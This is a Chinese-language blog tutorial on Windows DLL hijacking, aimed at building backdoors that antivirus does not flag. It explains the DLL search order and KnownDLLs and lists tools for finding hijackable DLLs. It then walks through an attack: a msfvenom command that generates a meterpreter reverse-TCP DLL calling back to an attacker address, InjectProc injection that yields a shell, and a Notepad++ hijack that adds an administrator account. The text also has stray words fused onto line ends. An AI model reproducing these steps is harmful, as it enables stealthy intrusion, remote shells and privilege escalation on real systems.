最近在搞內網,須要實現免殺後門,大佬推薦了dll劫持,DLL劫持後,能幹不少事情,好比殺軟對某些廠商的軟件是實行白名單的,你幹些敏感操做都是不攔截,不提示的。還有留後門,提權等等。本文主要介紹如何檢測dll劫持,以及實例演示。php
DLL(Dynamic Link Library)文件爲動態連接庫文件,又稱"應用程序拓展",是軟件文件類型。在Windows中,許多應用程序並非一個完整的可執行文件,它們被分割成一些相對獨立的動態連接庫,即DLL文件,放置於系統中。當咱們執行某一個程序時,相應的DLL文件就會被調用。一個應用程序可以使用多個DLL文件,一個DLL文件也可能被不一樣的應用程序使用,這樣的DLL文件被稱爲共享DLL文件。html
若是在進程嘗試加載一個DLL時沒有指定DLL的絕對路徑,那麼Windows會嘗試去按照順序搜索這些特定目錄時下查找這個DLL,只要黑客可以將惡意的DLL放在優先於正常DLL所在的目錄,就可以欺騙系統優先加載惡意DLL,來實現"劫持"python
Windows查找DLL的目錄以及對應的順序:git
1. 進程對應的應用程序所在目錄;github
2. 當前目錄(Current Directory);web
3. 系統目錄(經過 GetSystemDirectory 獲取);shell
4. 16位系統目錄;windows
5. Windows目錄(經過 GetWindowsDirectory 獲取);ruby
6. PATH環境變量中的各個目錄;tcp
例如:對於文件系統,如doc文檔打開會被應用程序office打開,而office運行的時候會加載系統的一個dll文件,若是咱們將用惡意的dll來替換系統的dll文件,就是將DLL和doc文檔放在一塊兒,運行的時候就會在當前目錄中找到DLL,從而優先系統目錄下的DLL而被執行。
Windows查找DLL的目錄以及對應的順序(SafeDllSearchMode 默認會被開啓):
默認註冊表爲:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其鍵值爲1
1. 進程對應的應用程序所在目錄(可理解爲程序安裝目錄好比C:\ProgramFiles\uTorrent)
2. 系統目錄(即%windir%system32);
3. 16位系統目錄(即%windir%system);
4. Windows目錄(即%windir%);
5. 當前目錄(運行的某個文件所在目錄,好比C:\Documents and Settings\Administrator\Desktop\test);
6. PATH環境變量中的各個目錄;
系統沒有了SafeDllSearchMode 而採用KnownDLLs,那麼凡是此項下的DLL文件就會被禁止從exe自身所在的目錄下調用,而只能從系統目錄即SYSTEM32目錄下調用,其註冊表位置:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
那麼最終Windows2003以上以及win7以上操做系統經過「DLL路徑搜索目錄順序」和「KnownDLLs註冊表項」的機制來肯定應用程序所要調用的DLL的路徑,以後,應用程序就將DLL載入了本身的內存空間,執行相應的函數功能。
下載地址:https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
使用process explorer檢查exe程序主要加載的dll文件,這裏使用 notepad++ v6.0.exe 做演示:
這裏發現應用程序notepad++加載的dll文件爲SciLexer.dll。而這個dll文件在KnownDLLs中沒法找到:
那意味着notepad++.exe程序啓動時能夠從自身所在目錄下調用SciLexer.dll文件,這就存在dll劫持的風險
下載地址:http://securityxploded.com/getsoftware_direct.php?id=7777
emmm....固然誤報率比較高
下載地址:https://github.com/sensepost/rattler/releases
首推3gstudent師傅的文章:DLL劫持漏洞自動化識別工具Ratter
rattler能夠枚舉進程調用的dll列表,識別應用程序哪些dll容易受到DLL預加載攻擊
下載地址:https://github.com/adamkramer/dll_hijack_detect/releases
能夠檢測Windows系統上正在運行的進程中的DLL劫持,不過效果...嘿嘿嘿
下載地址:https://github.com/secrary/InjectProc/releases
親測在windows7 x64機器上沒法使用
稍後具體演示注入流程...
1.啓動應用程序
2.使用Process Explorer等相似軟件查看該應用程序啓動後加載的動態連接庫
3.從該應用程序已加載的DLL列表中,查找在KnowsDLLs註冊表項不存在的DLL
4.編寫上一步獲取到的DLL的劫持DLL
5.將編寫好的劫持DLL放到該應用程序目錄下,從新啓動該應用程序,檢查是否劫持成功
首先使用msfvenom生成dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.153 LPORT=5555 -f dll >SciLexer.dll
打開msf,並開啓監聽:
將生成的dll文件,丟到目標機器中,打開筆記本,也就是notepad.exe程序,輸入如下命令:
InjectProc.exe dll_inj joker.dll notepad.exe
發現kali已經獲得了目標shell
-------------------------------------------------------------------------
補充:
今天看了大佬的文章:Notepad++劫持提權 感受好流弊
上述咱們已經分析過程序notepad++.exe v6.0啓動所調用的SciLexer.dll是存在劫持風險的,
下面利用使用大佬的dll文件進行劫持
工具連接: https://pan.baidu.com/s/1uTQDG-4up8TG96Infsvwnw
提取碼: ki6
將大佬的dll文件重命名爲存在劫持風險的dll文件,劫持前:
以管理員身份運行notepad++
成功添加管理員webbaozi/webbaozi!@#123
參考連接: